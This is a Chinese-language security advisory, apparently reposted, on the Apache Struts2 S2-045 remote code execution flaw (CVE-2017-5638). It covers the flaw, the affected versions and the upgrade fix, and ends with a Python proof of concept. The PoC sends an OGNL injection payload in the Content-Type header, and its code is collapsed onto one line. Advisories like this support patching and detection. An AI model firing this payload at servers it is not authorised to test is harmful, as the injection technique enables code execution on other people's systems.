漏洞預警 | Apache Struts2 曝任意程式碼執行漏洞 (S2-045,CVE-2017-5638)
阿新 • • 發佈:2022-04-28
FreeBuf上次曝Struts 2的漏洞已經是半年多以前的事情了。
這次的漏洞又是個RCE遠端程式碼執行漏洞。簡單來說,基於Jakarta Multipart解析器進行檔案上傳時,利用漏洞可進行遠端程式碼執行。該漏洞由安恆資訊Nike Zheng上報。
Apache Struts是美國阿帕奇(Apache)軟體基金會負責維護的一個開源專案,是一套用於建立企業級Java Web應用的開源MVC框架。
漏洞盒子lab和網藤均已支援該漏洞的檢測:
· 漏洞盒子lab檢測地址:https://www.vulbox.com/lab
· 網藤地址:www.riskivy.com【點選閱讀原文檢測】
漏洞盒子lab是一款流行漏洞線上安全檢測系統,輸入URL或主機名即可測試是否存在漏洞。
漏洞編號
CVE-2017-5638
漏洞簡介
Struts使用的Jakarta解析檔案上傳請求包不當,當遠端攻擊者構造惡意的Content-Type,可能導致遠端命令執行。
實際上在default.properties檔案中,struts.multipart.parser的值有兩個選擇,分別是jakarta和pell(另外原本其實也有第三種選擇cos)。其中的jakarta解析器是Struts 2框架的標準組成部分。
預設情況下jakarta是啟用的,所以該漏洞的嚴重性需要得到正視。
影響範圍
Struts 2.3.5 – Struts 2.3.31
Struts 2.5 – Struts 2.5.10
修復方案
如果你正在使用基於Jakarta的檔案上傳Multipart解析器,請升級到Apache Struts 2.3.32或2.5.10.1版;或者也可以切換到不同的實現檔案上傳Multipart解析器。
漏洞PoC
import requests import sys def poc(url): payload = "%{(#test='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}" headers = {} headers["Content-Type"] = payload r = requests.get(url, headers=headers) if "105059592" in r.content: return True return False if __name__ == '__main__': if len(sys.argv) == 1: print "python s2-045.py target" sys.exit() if poc(sys.argv[1]): print "vulnerable" else: print "not vulnerable"